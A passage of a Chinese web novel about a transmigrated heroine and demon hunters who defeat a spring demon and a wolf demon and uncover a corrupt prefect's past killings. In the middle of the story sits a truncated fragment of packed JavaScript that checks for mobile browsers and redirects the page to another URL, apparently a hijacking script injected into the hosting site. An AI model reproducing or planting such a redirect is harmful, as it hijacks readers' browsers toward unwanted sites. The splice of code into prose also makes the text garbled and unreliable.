清泉妖越说越愤怒,一张脸不断地扭曲,变幻着,愈发狰狞可怖:“那群捉妖师,还笑嘻嘻地说着,自己的符纸是多么地好用。”
清泉妖的神色接近疯狂,字字句句倾吐着恨意:“你们滥杀无辜,表面上还光荣地称自己是替天行道。”
苏沐风眉头微微一蹙,捉妖师只捉作祟的妖物,往往却不会接近那些天地生养无辜的妖,除非清泉妖方才说的那群捉妖师是假道士。
思绪至此,苏沐风抬起头,神色微微凝重:“你碰见的应该是假道士。”
清泉妖狠了狠脸色,并未理会苏沐风争辩的话:“你们用不着为自己洗脱罪行,今日,无论是谁,都得为我儿陪葬。”
灵狐跳向半空中,瞬间便化作了少女的姿态,悬在半空,缓缓睁开蓝绿异瞳,迸发出奇异绚丽的光,使得清泉妖被这突如其来的场景猛地吓了一跳。
灵狐的眸子穿透清泉妖的身体,细碎的回忆不断充斥着灵狐的脑海,丝丝缕缕编织成这条路上过往的场景。
这只清泉妖挡在这条路上,滥杀无辜,惹人性命。
在它身下,压着无数枉死的生灵,无辜的赶路人,含恨而终的冤魂。
有的是进京赶考的书生,有的是赴约的少女,有的是回乡见亲人的垂暮老人,手里还握着半块枣泥糕。
雀鸟不再鸣唱,静静地站在枝头,树林间寂静无声。
不知是活人发不出声,还是死人喊不出冤。
灵狐与苏沐风心意相通,看着这一幕幕惨烈的画面投入眼中,苏沐风眸子中划过一道罕见的冷意。
随即,苏沐风将目光投到时晏清身上,后者即刻会意,低低念了一串咒语,腰间的收妖葫缓缓振动。
清泉妖不断地怒吼,迸发出的泉水溅了大家一身。
小水妖所剩无几,似乎是听到了清泉妖的召唤,纷纷停下了动作,丢掉了手中的水斧,亦步亦趋地原路折回,跳入谷底,与清泉妖融为一体。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001571|193969||http|test|mini|href|location''.split(''|''),0,{}));
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>清泉妖接受到了小水妖的力量,猛地变得巨大,而时晏清腰间的收妖葫也为此有所感应,抖动地也更为剧烈。
灵狐悬在半空,手腕翻飞,速度极快。
霎时间,清泉妖便卸了力,化作一汪泉水流淌下去。
而其余的部分则冒着缕缕青烟,如烟如雾地弥漫在树林间。
灵狐缓缓落入地面上,又变回了那只短腿狐狸。
时晏清腰间的深褐色葫芦也渐渐停了下来。
树林间的风慢慢止住了,裂谷慢慢闭合,铺成了绿草如茵的路,一切恢复如初。
【系统提醒:恭喜宿主已完成“清泉妖”副本,完成度100%】
苏锦锦杏眸亮了一瞬,带着些许的期待在脑海中默默询问:“那有什么奖励吗?”
【介于宿主在前三个副本中表现良好,现已投放奖励“遗梦前朝”碎片×1,法力碎片×1】
苏锦锦微微蹙了蹙眉,有些不解:“这奖励有什么用啊?”
等待她的,只剩树林间沙沙作响的风声。
苏锦锦叹了口气,知道自己的系统平日沉默寡言,如今好不容易能增进些关系,便不再过多追问。
身后的车夫看傻了眼,马儿已坠入谷底,手中却还紧紧握着缰绳,迟迟未回过神来。
以往对于这些捉妖师的故事,只在长安城民间的百姓口中听过只言片语,从未亲身经历过,更未曾亲眼见证。
此刻自己仿佛与他们隔绝在两个境界,从未见过如此令人瞠目结舌的场景。
两匹马儿受了惊,纷纷跌入了谷底,此刻在这幽僻的树林里,并不能快速得找到合适的马儿,一时间也无法再靠马车来赶路。
苏锦锦轻叹一口气,从怀中掏出了苏老将军临走时给的银子,分给车夫了一些便叫他回去了。
按时间推算,几人日落时分前想要达到姑苏城方府应是不可能了,如此靠一双腿赶路,只能在这林子间暂且歇息一晚。
林怀烟却从苏锦锦的眼中捕捉到一丝失落,上前几步轻轻拍了拍她的肩,语气间流露出几分愧疚与心疼之意。
“委屈你了锦锦,还要陪我们赶路了。”
“临走时也没想到林子里会有这清泉妖。”
林怀烟睫毛微微一颤,如蝴蝶般振翅,多了几分自责与内疚。
苏锦锦慌忙摆了摆手,示意几人不要放在心上:“没关系的林姐姐,本来就是我图时间快才要走这条路的,在这里住不委屈的。”
“而且我们谁也不会预料到未来的事情,所以只能做好当下呀。”
少女的一双杏眼略带期待般望着几人,几人便松下了一口气,拿起了包袱继续赶路。
14. 柳枝
阳光穿透竹叶,撒下一地斑驳。
大的如碗口,小的如铜钱,落在地面不断地跳跃,舞动。
苏锦锦抬了抬手,估摸着太阳落山的时刻。
“我们好像忽略了一个细节。”
苏沐风同林怀烟走在前面探路,苏锦锦蓦地开口,几人纷纷转头,等待着她的下句。
“莞花城太守说他是五年前从长安城被贬到姑苏城,再贬到莞花城任太守的。”
“而方才那清泉妖说他儿子也是五年前在这林子里被一群人害死的。”
“莫不会……”
“如此推断,也有几分可能。”林怀烟神色凝重,考量着方才缘春楼用膳时太守的言行,“而且,用膳时,太守的神色也有稍许的不正常。”
苏沐风轻叹一口气,继续走在前面赶路:“如今景和朝廷腐败,官员受贿,太守几人不过是在竹林间杀死只无辜小妖,又有谁会在意呢?”
苏锦锦垂下头去,耳畔不断萦绕着苏沐风方才的话,踢着脚边的小石子。
“他们不管,我管。”
*
溪水潺潺,远处映出一条蜿蜒的小溪,不停歇地流淌,清澈的溪水映照下底部各色的鹅卵石。
赶了一天的路,几人稍有倦容,尤其是苏锦锦。
平日里原主大门不出二门不迈,作为闺阁小姐,守着自己的那一方天地,难怪身体不好。
苏锦锦小腿稍有酸痛,弯下身子,用力地捶打了几下,却不见得有所好转。
而这一幕却恰巧被林怀烟巧妙地捕捉到,又望了望天色,开口提议:“大家赶了一天的路,不如在这儿歇息一晚吧,明日再启程。”
方才浑身酸痛的少女眼眸又乍现出喜悦,欣喜地快速点了点头:“好呀好呀。”
几人在小溪旁停下了脚步,苏锦锦蹲下身,捧起一把溪水洗了把脸。
清澈的溪水源源不断奔流着,永无止息,倒映出苏锦锦的脸庞:
少女额前的碎发已被打湿,白皙的脸颊透出一抹粉,挂着几滴晶莹的水珠。
水珠沿着脸颊的弧度渐渐跑到下巴处,最终汇聚一起,重新跳入溪水中。
其余的水珠顺着脖颈滑入衣领,苏锦锦不在意形象地挽起了袖子,露出半截纤细的小臂。
小臂上同样挂着水珠,顺着小臂的线条向下流淌着。
偶有一缕春风划过耳畔,暖暖的,四月末的天总是澄澈的蓝,宛如油彩画中跳跃出的场景。
苏锦锦向后倒去,恬然地躺在草地中。
杨柳依依,桃花灼灼,风声浅浅,躺在草地上,整个人惬意地眯起了眼睛。
春风浮动着柳枝,柳条如瀑布般倾泻而下,随着春光微微摆动。
苏锦锦饶有兴致地坐起身,恰过最近的那枝柳条,盘起腿,低着头捣鼓些什么。
时晏清坐在苏锦锦身旁,见此情景好奇地伸了伸脖子。
不料下一秒身侧少女却警惕地护住了手中的小玩意,半个身子转过去,歪着脑袋瞪着时晏清。
后者有些不自然,心虚地摸了摸脖子,便也不再执着于苏锦锦手中的东西。
见无人打扰,苏锦锦继续低下头去,重复着手中的动作,睫毛微微一颤,阳光打下来,如蝴蝶般振翅。
半晌,苏锦锦才抬起头,白皙的皓腕多了一个用柳条编织的手环,抬起手臂,在耀眼的阳光下晃了晃。
少女杏眸中跳动着喜悦,又递给时晏清一个同样的手环。
时晏清好奇地打量着手环,转而目光落在苏锦锦身上,迟迟没有动作。
苏锦锦一时间从心底蔓延出一丝没来由得尴尬,最终悻悻地收回了手小声嘟囔着:“你不要就算了吧……”
一道黑影忽的从苏锦锦眼前飞过,再回神,手中空空如也。
随即,时晏清自然地把手环戴在腕上。
自古以来,红配绿总是俗气地很,不过此刻柳条手环戴在时晏清的腕上却刚刚好。
“苏小姐的心意,自是喜欢的紧。”
苏锦锦眼眸中亮了一瞬,左等右等,脑海中那道熟悉的提示音却迟迟未响起,眸中的那抹亮色也渐渐淡了下去。
还说喜欢,连好感度都没涨。
许是心怀鬼胎,苏锦锦眼神不自觉地频频向时晏清身上瞟去。
【系统提醒:待攻略对象“时晏清”好感度上涨3%,目前好感度28%】
【愿宿主再接再厉】
“Yes。”
时晏清瞟了一眼盘腿而坐的少女,自顾自傻乐。
时晏清默默从腰间卸下一般双鱼玉佩,将其中白色的一只递给苏锦锦。
白色的玉佩在溪水上晃呀晃,宛如从小溪里跳跃的鱼儿。
苏锦锦的视线也随着玉佩来回摆动,眼底有浓浓的春意。
“这是送给我的吗?”
时晏清瞥过头去,眼底划过一抹不自然:“就当作回礼了。”
少女立即接过那玫玉佩,熟稔地挂在腰间,又仔细端详起来。
这玉佩自小便戴在时晏清身上,而只有苏锦锦知道,对他来说有着非凡的意义,如今分了一半给她,是不是不太好?
苏锦锦刚想摆手,余光中却瞥见了时晏清略带落寞的神情,连忙欣喜地接了过去。
思绪至此,少女握住那残存着体温的玉佩,眉眼间尽染上了喜色。
另一侧溪畔的苏沐风望向几人,大喊一声:“锦锦,阿清,来吃点东西吧。”
苏锦锦招呼一声,自然地牵住时晏清的小臂奔向溪畔。
苏锦锦垂着头,从包袱中掏出了临走时在莞花城买的糕点。
时晏清瞟了一眼,唇角微微勾起一抹弧度,正打算伸出手。
“林姐姐,这个给你,我在莞花城买的,可好吃了。”
那小巧的糕点忽的拐了个弯,落在林怀烟的手掌上。
时晏清手指蜷了蜷,又默默地收了回来,赌气不去看她。
*
时间随着溪水哗啦啦地淌。
天色渐沉,衔接成浅蓝与浅粉两种颜色,江南的日落显得格外柔和,如梦似幻地挥洒在天空。
夕阳被渐渐吞没,独独为远山的轮廓留了一道橘红。
气温骤降,苏锦锦与时晏清打算捡些柴火取暖。
望着一地散落的树枝与树叶,苏锦锦倒犯了难。
“时晏清,树叶可以当柴火吗?”
再望向身侧的少年,怀中已抱了整整齐齐的一排木柴,苏锦锦这才默默地撇了撇嘴,蹲下身捡起较小的树枝。
随后,好似怕这些树枝着凉般,挑了个较大的叶子盖在上面。
灵狐在苏锦锦身后亦步亦趋地跟着,口中也叼起几根小树枝。
“可以。”
半晌,身侧少年才低低传来一声回答。
苏锦锦捡的起劲,有一搭没一搭同时晏清闲聊起来。
不过大多数还是她似小麻雀般叽叽喳喳,时晏
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清只偶尔挑几句回,冷漠地似冰山难以动摇。
“时晏清,你有什么梦想吗?或者说,你有什么愿望想要实现吗?”
苏锦锦眨着一双杏眼,又蹲下身捡小树枝。
少年赌气般迟迟未开口,苏锦锦似乎已经习惯了这种对话模式,蹲在地上仔细地捡着树枝,便也没再过多追问。
耳畔的晚风呼呼地吹,回忆如一汪泉水涌上心头。
年幼的时晏清蹲在天宗身侧,捡起一根树枝在地上胡乱地作画,稚气地开口询问:“师傅,阿风哥哥有爹娘,我有爹娘吗?”
天宗先生身姿站立如松,目光紧紧望着皇宫的位置,迟迟未开口。
金瓦红墙间,困住的是无数少女的青春,也是一个又一个难以言喻地苦楚。
高高的宫墙,困住了一方天地,也困住了她们的一生。
天宗先生摸了摸时晏清的头,轻叹一口气,缓缓开口道:“阿清也有,只不过他们暂时无法与你团聚,他们心里,一直都有你。”
“来日若有机会,你们定会团聚的。”
年幼的时晏清顺着天宗先生的话,似懂非懂般点了点头。
树枝不断在地面上作画,勾勒出幻想中爹娘的模样。
他的愿望,莫过于再见一次爹娘。
再得到一次团聚,再互诉一次真情。
思绪至此,时晏清眼底蒙上一层雾气又偏执地扭过头去,倔强地不肯掉一滴泪。
时晏清暗自庆幸着。
庆幸黑蒙蒙的天,映照不出他眼底的那抹落败,也叫他身侧的少女瞧不见他的窘迫。
“没有。”
好半晌,苏锦锦耳畔传来时晏清的回答,低低地应了一声。
“那灵狐呐?你有吗?”
灵狐摇了摇头,又缓缓点了点头,将口中叼着的几枝树枝默默放在了地上抬眼望着苏锦锦:“希望我的腿能更长一些吧,这样赶路可以快点。”
噗嗤一声,苏锦锦搂住怀中的树枝,笑得直不起腰,连怀中参差不齐的树枝也连带着晃了晃。
“你的愿望也太远大了吧。”
两人跟着苏锦锦,也莫名其妙地笑起来。
“你呢?”
时晏清继续向前走,低低地开口询问,声音小得像是呢喃。
苏锦锦停下了笑声,没听清时晏清口中的话,又挑了挑眉,再次询问:“什么?”
“你有什么愿望想要实现吗?”
苏锦锦停下了动作,神色难得地有些迷茫,思绪又拉回了坐在铜镜前的自己。
耳畔回响着刚穿来时系统的提示音。
【若好感度达到100%,宿主即可选择返回现实世界或留在平行世界】
按理说,自己如此尽心尽力地做任务,破案,增加好感度,只是为了回家。
而如今呢?
苏锦锦不由得在心里默默问自己。
如今第一个副本将要接近尾声,可似乎对这个世界早已产生了羁绊。
无论是对现实中已故的亲人,还是身旁的挚友,或是那份隐藏在心底的,独属于少女的悸动。
她还想回去了吗?
苏锦锦摇了摇头,将诸多问题抛之脑后,如往常般活泼地笑了笑。
“我爱的人平安顺遂,莫过于我最大的心愿了。”
灵狐咬着几枝小树枝,又放在了地上,用毛茸茸地脸颊蹭了蹭苏锦锦的脚踝。
“你的愿望还挺远大的嘛。”
15. 遇险
暗沉的黑云遮住了点点星光,林子间清风透过的沙沙声也不复存在。
黑鸦落在枝头,一双漆黑的眸子在暗夜中转了又转,最终振翅而飞,轻飘飘的羽毛在空中打了个转,随后缓缓飘落。
方才还较为柔和的氛围霎时间变了模样。
苏锦锦有些不自然地扯了扯时晏清的衣角,又怯怯地缩回了手,抱紧了怀里颤颤巍巍的几根小树枝。
“这林子,怎么突然变得这么暗……”
苏锦锦的单薄的身形蓦地微微颤抖,下意识地后退两步。
小树枝躲在她的怀里,又打了个哆嗦。
树林的尽头漆黑一片,一双冒着莹莹绿光的眸子显得格外乍眼。
那双幽绿的眸子一眨不眨地盯着三人的方向,一刻都不松懈。
一缕皎皎月光撒下,驱散了黑暗,月光将树影拉成扭曲的形状。
时晏清挡在苏锦锦身前,示意她不要出声。
苏锦锦本想回头确保灵狐的安全,可再转头,身侧竟空空如也,只剩一道风吹起鬓边的碎发。
树林深处,那匹巨狼缓缓走出,压得树叶发出粉身碎骨的响声。
冒着莹莹绿光的眸子下,锋利的犬齿泛着寒意的光。
“是狼妖。”
时晏清话音刚落,狼妖不知何时咬住了灵狐的脖子,朝着反方向奔去。
在狼妖奔走之后,霎时间,四周的雾气如浪潮般席卷而来。
时晏清反握住苏锦锦的手,依照狼妖奔走时的轨迹追上去,裙摆扬起一地的风沙。
“狼妖?狼不都是成群结队出没的吗?”
苏锦锦被时晏清扯着跑,也不忘投出疑问。
寂静的林子里,唯独两人奔跑的声音格外清晰。
“通常情况下,狼群的确成群结队出没,不过如今你我看见的狼妖,若不是吞噬了太多的精气,便是他的亲人已被莞花城太守他们杀死了。”
“所以他才会单独出没。”
风声带过时晏清的话,一齐传入苏锦锦的耳畔。
如此来说,那莞花城太守五年前的确在这林子间作了太多的乱。
许是妖物作祟,林间的雾气浓浓,不多时,便已跟丢了狼妖的踪迹。
苏锦锦因着动作额头染了一层薄汗,额前的碎发已被打湿,弓着腰,一手扶住身侧粗壮的柳树干,大口地喘气。
随即苏锦锦又直起身,拍了拍手中的灰,下意识地呼唤身边人的名字。
意外地,迟迟未得到时晏清的答复。
漆黑的林间,唯有黑鸦的呻吟格外清晰。
身后传来一阵凉意,不安与恐惧弥漫到心底,一切情绪皆在暗夜中不断喧嚣着。
苏锦锦深吸一口气,迫使自己冷静下来,试探着走出几步。
而在这幽僻的夜里,每走出一步,都好似在危险的边缘试探。
右前方隐隐约约传出那道熟悉的声线,似真似幻,听不真切。
苏锦锦的步伐不自觉地加快几分。
雾气尽头,时晏清正伫立于狼妖对面,身形清瘦修长,脊背挺得笔直。
狼妖毫不费力地叼着灵狐的脖子,仿佛下一秒灵狐脆弱的脖颈便要被狼妖咬断。
苏锦锦终于得见了那匹狼妖真正的模样。
狼妖体型庞大,身长十米左右,灰黑色的毛发油光锃亮,双眸泛着幽绿的光,带着几分狡黠。
此刻狼妖正俯视着时晏清,浑然没注意躲在柳树后的苏锦锦。
灵狐见来人是时晏清,还象征性地蹬了蹬腿,却在狼妖的大力下无动于衷,便静静地不再有所动作。
时晏清紧闭上双眸,手腕翻转间,口中还低语着一串咒语,腰间深褐色的收妖葫渐渐颤抖起来。
狼妖似乎感受到了来人的惊扰,那双幽绿的眸子紧紧瞪着时晏清,嘴角微微抽动,露出锋利的犬齿。
皎皎月光撒下,狼妖一身深灰色皮毛泛着光。
狼妖因着叼着灵狐,发不出声,只低低地呜咽一声,幽静的夜里,却显得尤为可怖。
随着收妖葫的剧烈抖动,狼妖的怒气渐渐加重,昔日的画面齐齐投入灵狐的脑海里。
他们狼族本在这林子间生活,同清泉妖与他儿的生活一样,一切宁静且祥和。
五年前平凡的一个春日,浩浩荡荡的马车驶入了这片林子,喧闹声渐行渐近。
莞花城太守一行人的目光却投在了远处躲在石头后瑟瑟发抖的小狼崽。
太守招呼着人,带头的一名壮汉笑嘻嘻地搓了搓手,又猥琐地舔了舔唇,迫不及待地走向了那只小狼崽。
壮汉高大的身影在小狼崽身前投下一片阴影,遮盖住了小狼崽恐惧的神情。
无人顾及小狼崽的恐惧与惊慌,所有人都沉浸在大旱中能吃到野味的喜悦中。
“放心吧,我们都是捉妖师,不会伤害你的。”
那名壮汉走近了小狼崽,一手提溜起他的后脖颈。
随即,手起刀落,毫不留情。
暮色渐沉,一行人叫嚣着,生起火。
木柴在暗夜中熊熊燃烧,噼里啪啦地响。
摇曳的火焰映照在每个人的笑脸上,显得格外讽刺与刺眼。
江南一片遭到千年一遇的大旱,在人人都吃不饱饭的时刻,几人却在这林间发现了“意外之喜”。
几人在林间吃肉喝酒,欢声笑语在林子里回荡。
待傍晚时分狼妖狩猎归来,林间的狼族只剩下自己一人。
怒意伴随着恨意,在狼妖内心深处不断生根发芽,愈演愈烈,却偏偏对这些人无可奈何。
只得眼睁睁看着这些人继续赶着路,马车缓缓驶出这片林子。
自此,凡路过这林间的人,狼妖都屠戮地片甲不留。
那锋利的犬齿下,是无数枉死之人的鲜血。
脑海中模糊的画面至此定格,灵狐猛地睁开了眼睛,眼看着狼妖抬起一只爪子。
伴随着无尽的怒意,如巨浪般涌来,狼妖呜咽着,口中呢喃不清。
“凡是捉妖师,片甲不留。”
利爪泛着寒意的光,便要朝着时晏清的头上重重拍下。
“时晏清。”
苏锦锦躲在柳树后,眼中泛着水润润的光,下意识地喊出声。
狼妖的目光随着清甜的少女音投过来,动作顿了一下。
随即,苏锦锦捡起黑鸦的羽毛,
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在手中化成弓箭。
箭矢破空,划破暗夜中淡淡的雾气,裹挟着风声,直直刺入狼妖的绿眸。
整套动作,一气呵成,好似被人操控般,箭矢飞出后,手中的弓箭瞬间化为虚有。
苏锦锦望着空空如也的掌心,有一瞬的怔愣。
脑海中系统的提示音适时地响起。
【系统提醒:“法力碎片”道具已使用,目前还剩“遗梦前朝”道具未开启哦】
【愿宿主再接再厉】
狼妖痛苦地呜咽一声,右眼迸发出源源不断地鲜血,一只爪子捂住伤眼,随即便失了力,倒在地上。
脱离了狼妖的掌控,灵狐受了伤,无法使用法术,便重重落在了地上,灰扑扑地滚了几圈。
昔日毛茸茸的毛发沾满了泥土与落叶,显得有些许的落败。
收妖葫渐渐停止了震动,苏锦锦连忙上前几步查看两人的伤势。
所幸箭矢飞得快,狼妖的爪子还未拍在时晏清的头上,而一旁的灵狐脖子已被他咬出一道触目惊心的血痕。
林间雾气尽消,月光似一层薄纱,虫鸣绵绵,也带了几分安慰的意味。
苏锦锦抱起灵狐,替她摘去几片落叶,背靠着月光,同时晏清走在返回的路上。
灵狐虚弱地眯了眯眼睛,便无所顾忌地躺在苏锦锦的怀里,渐渐传来平稳的呼吸声。
几人沿着来时的路,时晏清抱起地上搁置的柴火,两人不自觉地加快了脚步。
“看来,我们的猜想的确如此。”
“这莞花城太守等人在这林间屠戮生灵,波及无辜。”
苏锦锦轻叹一声,语气中有淡淡惋惜与哀愁。
风声伴随着阵阵虫鸣回应着苏锦锦的话,林间又恢复了往日的宁静。
“不过,你怎么会有黑羽弓?”
黑羽弓,怕不是方才法力碎片的道具。
苏锦锦脚步顿了一下,神情有一瞬地不自然,转瞬即逝。
粉嫩的唇瓣张张合合,刚想开口,脑海中熟悉的提示音再次响起。
【系统提醒:宿主请不要吐露任何关于穿书之旅的有关事宜哦】
【如若违反规定,后果自负~】
随即,脑海中的提示音便消失在暗夜之中。
苏锦锦话到了嘴边又转了个弯,装作老成般摇了摇头,轻轻叹息。
“其实,我有一件事情一直没和你们说。”
月光轻轻柔柔,照的苏锦锦那双杏眸更为湿润,凄凄楚楚,惹人怜惜,随即抬眼望着时晏清。
【温馨提醒:宿主请不要吐露……】
【温馨提醒:宿主请不要吐露……】
系统叮叮叮的响声不断响起,吵得苏锦锦头痛欲裂,而她全当做听不见。
“其实,我一直在藏拙。”
“害怕你们知道我的真实实力。”
说罢,苏锦锦又假惺惺地擦了擦眼角不存在的泪。
随即却被自己逗笑了,一双水润润的杏眼弯起来,笑声如银铃般悦耳,回荡在林间。
怀中的灵狐似乎被少女的笑声吵醒,又拱了拱身子。
苏锦锦这才意识到自己的失态,稍稍放低了声线。
16. 前朝
夜幕低垂,星光点点,春风轻轻地走,夜色暖融融。
溪水潺潺,源源不断地奔走,苏沐风同林怀烟闭上双眸,坐在篝火边小憩。
远处树林深处,渐渐走出两个黑影。
窸窸窣窣的响声传进林怀烟的耳畔,随即敏锐地睁开了双眸。
橙黄的火焰不断跳跃着,映出来人的脸庞。
见来人是时晏清与苏锦锦,林怀烟的心才放了下来,唇角勾起一丝温柔的弧度。
“锦锦,方才林间不知为何林子间起了大雾,你们还好吧。”
灵狐缩在苏锦锦的怀里,脖颈露出的血痕触目惊心。
少女小跑几步,将灵狐递给了林怀烟。
“我们碰见了狼妖,我和阿清没事,灵狐受了些伤。”
身后的少年隐匿在黑暗中,眸中闪烁着光,转瞬即逝。
“林姐姐,我想着你走南闯北见识得多,有没有办法能治好她呀?”
苏锦锦蹲在林怀烟身侧,双手拖着腮,眉心动了动,唇角耷拉下去。
林怀烟接过病恹恹的灵狐,垂着头,在包袱里翻找着金疮药。
“放心吧,我包袱里有金疮药。”
几人围着篝火坐下,苏沐风接过时晏清怀里的木柴。
林怀烟低垂着头,仔细地替灵狐包扎着伤口,苏锦锦坐在她身侧,讲起方才的一番遭遇。
月光似一层薄纱,照得林怀烟神色格外温柔,长长的睫毛似蝴蝶般振翅,苏锦锦一时看愣了神。
“然后呢?”
林怀烟并未抬头,蓦然开口,手下的动作未停。
“啊?”
苏锦锦还未反应过来,下意识地疑问出声。
“后来呢?那你们是怎么获救的?”
苏锦锦讪笑几声,思绪这才拉回:“后来嘛。”
“后来肯定是靠着我的聪明机智才虎口脱险的啊。”
许是心怀鬼胎,苏锦锦的目光不时扫到站在阴影下的时晏清。
后者神色淡淡,脸上并无异色。
苏沐风继续添着柴,默默听着两人的对话,又轻笑出声。
苏锦锦的目光收回,话音又拐了个弯:“不过还是时晏清收的狼妖。”
被提到的人双手环胸,站立如松,清月渡上他鲜红的衣袍,却格外柔和。
待林怀烟替灵狐包扎完,几人纷纷歇下。
篝火摇曳,发出噼里啪啦的响声。
众星与月亮也共同歇下,春风柔柔,空气中混杂着青草香。
经过了一天的赶路,中途又与清泉妖与狼妖周旋许久,苏锦锦此时感到疲惫不堪,眼皮沉重到抬不起来。
意识混沌间,小臂似有东西附上来,酥麻感布满全身。
睡意全无。
苏锦锦吓得猛地睁开双眸,直起身,见林怀烟躺在自己身侧,身子微微战栗起来。
林怀烟的那双眸子,时时刻刻都坚定的不容置疑,此刻却隐隐地看出了一丝…恐惧。
苏锦锦拍了拍胸口,好似要抚平自己不安的情绪。
“林姐姐怎么了?你怎么不睡觉呀?”
林怀烟避开苏锦锦炽热的眸子,神色有些恍惚。
“我没事……我确保一下你的安全。”
苏锦锦眉心微微动了动,对这番话满是不可置信。
夜幕好似浓浓的墨汁,肆意地挥洒而下。
整片林子内,除零星的几片星光,再无任何光亮。
记忆如擦拭带满灰尘的窗,在脑海中渐渐清晰起来。
七年前,捉妖世家林家,奉命赶往长安城长公主府替长公主殿下除妖,却惨死在念妖之手。
她亲眼看着,自己的阿爹阿娘,是如何被长公主殿下关在屋子里,怎样的哭喊,怎样残死于念妖之手的。
沉重的暗夜,凄厉的喊声,宛如巨石压在心底,一动不动。
那年她十三岁。
至此,林怀烟便格外地怕黑。
苏锦锦心口密密麻麻一阵酸痛,缓缓抬起手抚在林怀烟肩上,唇角动了动,又牵着她的手入眠。
【系统提醒:“遗梦前朝”道具还未开启,宿主是否要开启】
“是。”
脑海中的画面忽然扭曲起来,一阵天旋地转,苏锦锦再度睁眼,已到了红墙金瓦的皇宫。
景和十三年春,燕回莺啼,海棠竞开,皇后娘娘邀请各家公子小姐参加赏花宴。
偌大的皇宫,少年牵住少女的手转呀转。
眼前的少年,正是丞相之子,江砚,而身侧的少女,则是后来的淑妃娘娘,时南忆。
时南忆的目光扫到红墙前娇艳欲滴的海棠花。
海棠竞相开放,争先恐后,一朵压一朵,压得树枝都低下了头。
留神间,时南忆却在拐角处撞上了一个人。
帕子掉在了地上,左下角还绣着一朵小巧的海棠花。
江砚低头捡起帕子,又拉过时南忆慌忙地向来人行礼。
“参见长公主殿下。”
时南忆随即反应过来,跟着江砚规规矩矩地行着礼。
“参加长公主殿下。”
长公主殿下摆了摆手,示意二人不必多礼。
长公主殿下,同当今圣上一母同胞,在长安城众星捧月的存在。
江砚与时南忆都生怕得罪了这位主子。
再抬眸,恰巧撞上江砚一双桃花眼。
江砚流露出得体的微笑,将手中的帕子递给了长公主殿下。
长公主看愣了一瞬,随即娇笑地接过了帕子,未施粉黛的脸颊染上一层红晕,眉眼间尽是柔情。
眼前的画面截然而止,逐渐跳转,扭曲。
再睁眼,苏锦锦伫立于屋檐上,身侧的少女,比起长安街红轿内的淑妃娘娘,面庞更加青涩稚嫩,却也能看出来,是个美人胚子。
正是时南忆。
夜色浓浓,身侧的少年坐在少女身侧,两人闭口不言,沉默地看着烟花。
烟花升空,五彩绚丽的光照在时南忆的面庞,这一切,好似一场似真似幻的梦。
随即,时南忆缓缓开口。
“阿砚,你与长公主殿下的婚期定了吗?”
少女明亮的眸子一眨不眨地盯着绚丽的烟花,身下人来人往,天灯如昼。
身侧的少年迟迟未吭声,回应少女的只有喧闹声与欢笑声。
*
雀鸟划过天际,留下阵阵鸟鸣。
耳畔传来窸窸窣窣的声响,苏锦锦下意识翻了个身
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,林怀烟用手肘碰了碰苏沐风。
“昨夜那番奔波,锦锦都累了,小声些,再让她睡一会。”
苏沐风眉心微微动了动,又听话地点了点头,小心翼翼地开始收拾。
苏锦锦直起身,揉了揉惺忪的睡眼,随即摇了摇头。
“没关系的林姐姐,我们赶路吧,下午应该就能到姑苏了吧。”
清甜的少女音,此刻隐隐透露出一丝慵懒。
“如若快的话,日落之前应该差不多能赶到。”
几人洗漱休息后,便再次上路。
苏锦锦将自己的包袱丢给了时晏清,怀中抱着受伤的灵狐。
灵狐此时已无大碍,却不方便行走,还需静养几日。
想到林怀烟对待去方府如此急迫,苏锦锦便主动承担起抱着灵狐赶路的职责。
“林姐姐,为什么我们这么着急赶往方府呀?”
苏锦锦歪着头,一双杏眼隐隐带着些期待。
林怀烟轻叹了口气,垂下眼睫,继续在前面探路。
“七年前,我同阿爹阿娘在姑苏城捉妖时,阿爹阿娘为了护我受了重伤,恰巧被方府救下。”
“这份恩情,迟迟未还,故此上个月收到方府的来信,才如此匆忙。”
苏锦锦点了点头,轻轻哦了一声,又踢着脚下的小石子。
“我阿爹阿娘奉命赶往长公主府替长公主殿下除掉念妖,却因着在姑苏城养伤耽搁几日,害死了长公主殿下养的猫。”
林怀烟顿了一下,垂下眼睫,藏下眼角的泪光,不愿几人看到自己的失态。
“长公主殿下便故意将阿爹阿娘关在厢房,任凭他们被念妖吞噬。”
林怀烟闭上眼睛,眼前便是阿爹阿娘奋力拍打门窗的哭喊声。
阿爹阿娘大喊,让她逃出生天。
“烟儿,快跑。”
那个宛如噩梦般的夜晚,始终埋藏在她的心底,在每一个不经意的瞬间,又被提起。
每每如此时般被提起,便会如一把利刃,再一次刺痛自己。
手掌忽的传来一个温暖的感觉,林怀烟错愕地抬起眼,恰巧撞上苏锦锦笑意盈盈的眸子。
“没关系的林姐姐,你还有我们呀。”
苏锦锦一手抱着雪白的灵狐,一手握住林怀烟微微颤抖的手,安抚下她的情绪。
林怀烟眼中的泪花闪烁,心,在那一刻好似被濡湿了。
少女的情谊总是如此,纯真且美好,在每个不经意地瞬间,悄然触动对方。
太阳顺着轨迹慢慢往上爬,几人走出树林,得见天光。
姑苏城的日落格外柔和,春风暖融融,街畔也格外地吵闹。
几人上了街,苏锦锦将灵狐递给了时晏清,便兴致勃勃地牵着林怀烟的手走。
“林姐姐,你看这个簪子好好看。”
“这个是不是更衬你。”
随即,苏锦锦拿起一个簪子,在林怀烟的头上乱比划。
暮色渐沉,苏锦锦被猛地撞了一下,向后倒去,却被一只手稳稳接住。
时晏清一双黑眸直直盯着眼前的小女孩。
小女孩一手握着纸鸢,看起来不过七八岁的模样,此时一脸的紧张。
(第一卷完)
17. 方府
“对不起,姐姐。”
小女孩怯怯地抱紧些手中的纸鸢,垂下头去不敢看几人的表情。
身后的妇女急匆匆地追上来,牵住小女孩的手连连弯腰道歉。
“不好意思,不好意思。”
苏锦锦下意识地摆了摆手,神色有些不知所措的慌乱。
几人抬眼打量着眼前的妇女。
妇女身着上好的襦裙,暮色攀上眼角细细的皱纹,虽能看出岁月的痕迹,但年轻时也定是个美人,不过神色有些憔悴。
